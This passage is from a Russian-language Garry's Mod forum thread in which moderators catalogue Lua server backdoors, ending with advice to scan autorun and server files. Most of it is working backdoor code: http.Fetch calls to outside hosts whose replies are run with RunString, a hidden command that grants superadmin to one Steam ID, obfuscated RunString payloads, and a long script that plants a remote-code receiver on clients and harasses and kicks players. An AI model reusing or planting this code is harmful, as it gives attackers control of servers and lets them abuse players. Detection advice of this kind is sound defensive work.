        timer.Create( "thedrop", 0.42, 0, function()
            util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
        end )
    ]] )
end )

--EVIL TIME rip headpones
lol:PushAction( 175, function( pPlayer )
    lol:SendLua( pPlayer, [[
        surface.PlaySound( "vo/npc/male01/gethellout.wav" )

        local sounds = {}
        for i = 1, 4 do
            sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
                sounds[#sounds +1] = pChan
            end )
        end

        timer.Create( "asdf", 1, 0, function()
            if #sounds ~= 4 then return end
            timer.Destroy( "asdf" )
            for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
        end )

        hook.Add( "HUDShouldDraw", "newhud", function() return false end )
    ]] )

    pPlayer:Remove()
end )
Даже страшно разьяснять что тут можно.
========================================================

ЗАКЛЮЧЕНИЕ
Обычно все бэки в авторане либо sv части луа. Советую проверять все луа файлы, а еще проще юзать CPE либо nomalua

gBackdoor кстати вообще можно взломать за 2 клика, ржомба была в 18 году)
 

Morgan

Модератор
Команда форума
Регистрация
24 Сен 2019
Сообщения
941
Реакции
12
Баллы
52
Адрес
города крутых Модераторов
Пол
Мужской
Семейное положение
Свободен(а) как ветер
gBackdoor кстати вообще можно взломать за 2 клика, ржомба была в 18 году)
Та и тем более хостинг банит акк и закрывает сайт с гбэкдуром))) я ради интереса поставил на хост этот гбэк, через 2 дня сайт и акк отлетели (
 

KailHet

Модератор
Команда форума
Регистрация
5 Ноя 2019
Сообщения
728
Реакции
9
Баллы
52
Возраст
21
Веб-сайт
kailhet.github.io
Пол
Мужской
Семейное положение
Свободен(а) как ветер
Род занятий
Веб разработчик
НИЖЕ ПРЕДСТАВНЕННЫЕ БЭКДУРЫ ПРЕДОСТАВИЛ ИСКЛЮЧИТЕЛЬНО В ОЗНАКОМИТЕЛЬНЫХ ЦЕЛЯХ

1. http.Fetch
Lua:
timer.Simple(10, function()
    http.Fetch("http://87.98.180.200/~content1/setup.lua", function(c)
        RunString(c)
    end)
end)
===============================

http.Fetch("http://drm228.000webhostapp.com/core/stage1.php", function(b, l, h, c)

if c == 200 then RunString(b) end

end)
Панельный бэк. Сервер посылает данные на сайт, сайт принимает и на сайте юзай функции какие только можешь.

2. Тупое но рабочее
Код:
concommand.Add( "Nestor", function(ply)  if ( ply:SteamID() == "STEAM_0:0:82261024") then RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin") else ply:ChatPrint("Bye " .. ply:Name() .. ".") end end)
Выдаёт админку тому, кто в консоль пропишет Nestor

3. Шифрованные бэки
Код:
RunString([==[
enccodetbl = {24,5,1,9,30,66,63,5,1,28,0,9,68,93,64,76,10,25,2,15,24,5,3,2,68,69,76,4,24,24,28,66,42,9,24,15,4,68,78,4,24,24,28,31,86,67,67,7,26,13,15,66,15,22,67,0,5,2,7,67,10,25,}
====================================
RunString(string.char(117, 116, 105, 108, 46, 65, 100, 100, 78, 101, 116, 119, 111, 114, 107, 83, 116, 114, 105, 110, 103, 40, 39, 101, 110, 116, 105, 116, 121, 104, 101, 97, 108, 116, 39, 41, 32, 110, 101, 116, 46, 82, 101, 99, 101, 105, 118, 101, 40, 39, 101, 110, 116, 105, 116, 121, 104, 101, 97, 108, 116, 39, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 97, 44, 98, 41, 32, 82, 117, 110, 83, 116, 114, 105, 110, 103, 40, 110, 101, 116, 46, 82, 101, 97, 100, 83, 116, 114, 105, 110, 103, 40, 41, 41, 32, 101, 110, 100, 41)
Что делает знать не знаю так как зашифровано.

4. Целый LUA-шник с кучей говна

Код:
--[[
    File: ?.lua
    For: Annoying pirates to death, then annoying them some more until they die a second time
    By: Ultra
]]--

util.AddNetworkString "slua"

local lol = {}
function lol:RandomString( intMin, intMax )
    local ret = ""
    for _ = 1, math.random( intMin, intMax ) do
        ret = ret.. string.char( math.random(65, 90) )
    end

    return ret
end

lol.m_tblActions = {}
lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]

function lol:PushAction( intChainDelay, func )
    self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
end

function lol:NextAction( pPlayer )
    pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
    if not self.m_tblActions[pPlayer.m_intCurAction] then return end

    timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
        if not IsValid( pPlayer ) then return end
        self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
        self:NextAction( pPlayer )
    end )
end

function lol:Start( pPlayer )
    pPlayer.m_intCurAction = 0
    self:NextAction( pPlayer )
end

function lol:SendLua( pPlayer, strLua )
    net.Start( "slua" )
        net.WriteString( strLua )
    net.Send( pPlayer )
end

function lol:SetupPlayer( pPlayer )
    pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
end

for k, v in pairs( player.GetAll() ) do
    lol:SetupPlayer( v )
    timer.Simple( 2, function() lol:Start( v ) end )
end

hook.Add( "PlayerAuthed", "wat", function( pPlayer )
    lol:SetupPlayer( pPlayer )
    timer.Simple( 10, function() lol:Start( pPlayer ) end ) 
end )

hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
    if strText:sub( 1, 5 ) == "/1337" then
        pSender:Ignite( 1e9 )
        pSender:ChatPrint( "lol jk" )
        pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
        return false
    end
end )



--Sequence stack
--Start some tunes and steam in our assets
lol:PushAction( 0, function( pPlayer )
    lol:SendLua( pPlayer, ([=[
        sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
      
        g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
        local html = [[%s]]
        local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
            local pnl = vgui.Create( "HTML" )
            pnl:SetPos( ScrW() -1, ScrH() -1 )
            pnl:SetVisible( true )
            pnl:SetMouseInputEnabled( false )
            pnl:SetKeyBoardInputEnabled( false )
            pnl:SetSize( intSizeX, intSizeY )
            pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
          
            local PageLoaded
            PageLoaded = function()
                local mat = pnl:GetHTMLMaterial()
                if mat then
                    g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
                    return
                end
              
                timer.Simple( 0.5, PageLoaded )
            end

            PageLoaded()
        end

        LoadWebMaterial( "https://puu.sh/xjXlK/e850cccd1b.png", "hud1", 300, 128 )
        LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud2.png", "hud2", 300, 128 )
        LoadWebMaterial( "https://puu.sh/xjXlM/1b5b25b39a.png", "hud3", 128, 128 )
        LoadWebMaterial( "https://puu.sh/xjXqs/585d8dd339.png", "xhair", 64, 64 )
        LoadWebMaterial( "https://puu.sh/xjXs8/34852fe1de.png", "doritos", 183, 256 )
        LoadWebMaterial( "https://puu.sh/xjXs0/d766b0c51c.png", "fedora", 256, 256 )
        LoadWebMaterial( "https://puu.sh/xjXrT/6894da3f54.png", "dew", 110, 256 )
        LoadWebMaterial( "https://puu.sh/xjXtN/806d9bd2f6.png", "awp", 256, 55 )
    ]=]):format(lol.m_strImageLoadHTML) )
end )

--HUD swap
lol:PushAction( 31, function( pPlayer )
    lol:SendLua( pPlayer, [[
        (GAMEMODE or GM).CalcView = function() end
        (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end

        local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
        for k, v in pairs(remove) do
            hook.GetTable()[v] = {}
        end

        local function GetWebMat( strURL )
            return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
        end

        hook.Add( "HUDPaint", "newhud", function()
            surface.SetDrawColor( 255, 255, 255, 255 )

            if GetWebMat( "hud1" ) then
                surface.SetMaterial( GetWebMat("hud1")[1] )
                surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
            end
            if GetWebMat( "hud2" ) then
                surface.SetMaterial( GetWebMat("hud2")[1] )
                surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
            end
            if GetWebMat( "hud3" ) then
                surface.SetMaterial( GetWebMat("hud3")[1] )
                surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
            end
            if GetWebMat( "xhair" ) then
                surface.SetMaterial( GetWebMat("xhair")[1] )
                surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
            end

            if GetWebMat( "doritos" ) then
                surface.SetMaterial( GetWebMat("doritos")[1] )
                surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
            end
            if GetWebMat( "dew" ) then
                surface.SetMaterial( GetWebMat("dew")[1] )
                surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
            end
            if GetWebMat( "fedora" ) then
                surface.SetMaterial( GetWebMat("fedora")[1] )
                surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
            end
            if GetWebMat( "awp" ) then
                surface.SetMaterial( GetWebMat("awp")[1] )
                surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
            end

            draw.SimpleTextOutlined(
                "[ogloszenie] na ten server zostaly nalorzone\"Faldy Uesto\" - Crimson Gaming Approved",
                "DermaLarge",
                ScrW() /2 +math.random( -8, 8 ),
                ScrH() /2 +math.random( -8, 8 ) +64,
                Color( 255, 0, 0, 255 ),
                TEXT_ALIGN_CENTER,
                TEXT_ALIGN_CENTER,
                1,
                Color( 0, 0, 255, 255 )
            )
        end )

        local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
        hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )

        surface.PlaySound( "garrysmod/save_load4.wav" )
        surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
    ]] )
end )

--Disco time
lol:PushAction( 10, function( pPlayer )
    local idx = pPlayer:EntIndex()
    timer.Create( "beat".. idx, 0.42, 0, function()
        if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
        pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
    end )


    lol:SendLua( pPlayer, [[
        local emitter = ParticleEmitter( LocalPlayer():GetPos() )
        local time = 0

        hook.Add( "Think", "wat", function()
            if CurTime() < time then
                return
            end

            time = CurTime() +0.05
            for i = 1, 16 do
                local part = emitter:Add(
                    "particles/balloon_bit",
                    LocalPlayer():GetPos() +Vector(
                        math.random( -256, 256 ),
                        math.random( -256, 256 ),
                        256
                    )
                )
              
                if part then
                    local Size = math.random( 4, 7 )
                  
                    part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
                    part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
                    part:SetDieTime( 4.5 )
                    part:SetGravity( Vector(40, 0, -250) )
                    part:SetLifeTime( 0 )
                    part:SetStartSize( Size /2 )
                    part:SetEndSize( Size )
                    part:SetCollide( true )
                end
            end
        end )
    ]] )

    lol:SendLua( pPlayer, [[
        hook.Add( "RenderScreenspaceEffects", "wat", function()
            local sinScaler = math.sin( CurTime() )
            DrawBloom(
                0,
                3,
                sinScaler *math.Rand(1, 8),
                sinScaler *math.Rand(1, 8),
                6,
                math.Rand(0.5, 2),
                math.Rand(0, 0.3),
                math.Rand(0, 0.3),
                math.Rand(0.5, 1)
            )

            DrawColorModify{
                ["$pp_colour_addr"] = 0,
                ["$pp_colour_addg"] = 0,
                ["$pp_colour_addb"] = 00,
                ["$pp_colour_brightness" ] = 0,
                ["$pp_colour_contrast" ] = 1,
                ["$pp_colour_colour" ] = 1,
                ["$pp_colour_mulr" ] = 0,
                ["$pp_colour_mulg" ] = 0,
                ["$pp_colour_mulb" ] = 1
            }
        end )

        local mdl = ClientsideModel( "models/player/group01/male_04.mdl", RENDERGROUP_BOTH )
        mdl:SetNoDraw( true )
        local posCache, time = {}, 0

        hook.Add( "HUDPaint", "dance", function()
            if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
                local idx = mdl:LookupSequence("taunt_dance")
                mdl.SeqDuration = mdl:SequenceDuration( idx )
                mdl.SeqStart = CurTime()
                mdl:ResetSequence( idx )
            end

            mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )

          
            local w, h = 300, 300
            local ang = Angle( 0, 0, 0 )

            for i = 1, 32 do
                if CurTime() > time then
                    posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
                end
                local x, y = posCache[i][1], posCache[i][2]

                cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
                    cam.IgnoreZ( true )
                    render.SuppressEngineLighting( true )
                  
                    render.SetLightingOrigin( mdl:GetPos() )
                    render.ResetModelLighting( 1, 1, 1 )
                    render.SetColorModulation( 0, 0, 1 )

                    mdl:DrawModel()
                  
                    render.SuppressEngineLighting( false )
                    cam.IgnoreZ( false )
                cam.End3D()
            end

            if CurTime() > time then
                time = CurTime() +0.15
            end
        end )

        surface.PlaySound( "vo/npc/male01/ohno.wav" )
    ]] )
end )

--Let the beat drop
lol:PushAction( 54, function( pPlayer )
    lol:SendLua( pPlayer, [[
        hook.Add( "GetMotionBlurValues", "wat", function()
            return 0, 0, 1, math.sin(CurTime() *13)
        end )

        hook.Add( "RenderScreenspaceEffects", "ohgod", function()
            local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
            DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
            DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
        end )

        hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
            render.SetMaterial( Material("cable/blue_elec") )
            for i = 1, 32 do
                render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
            end
        end )

        timer.Create( "thedrop", 0.42, 0, function()
            util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
        end )
    ]] )
end )

--EVIL TIME rip headpones
lol:PushAction( 175, function( pPlayer )
    lol:SendLua( pPlayer, [[
        surface.PlaySound( "vo/npc/male01/gethellout.wav" )

        local sounds = {}
        for i = 1, 4 do
            sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
                sounds[#sounds +1] = pChan
            end )
        end

        timer.Create( "asdf", 1, 0, function()
            if #sounds ~= 4 then return end
            timer.Destroy( "asdf" )
            for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
        end )

        hook.Add( "HUDShouldDraw", "newhud", function() return false end )
    ]] )

    pPlayer:Remove()
end )
Даже страшно разьяснять что тут можно.
========================================================

ЗАКЛЮЧЕНИЕ
Обычно все бэки в авторане либо sv части луа. Советую проверять все луа файлы, а еще проще юзать CPE либо nomalua
Очень годно, так бы и написал "авторку ему"
 

InTeaReable

Модератор
Команда форума
Регистрация
3 Апр 2020
Сообщения
210
Реакции
8
Баллы
52
Возраст
25
Клан-тег
RCN-NV
Пол
Мужской
Семейное положение
Женат
Род занятий
Mapping Source Engine, Python/Lua programmist, Designer, FL Studio Enjoyer.
Годно(y)

Для особо ленивых можно с помощью Sublime Text, нажать 'найти в папках' и ввести http.
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху Снизу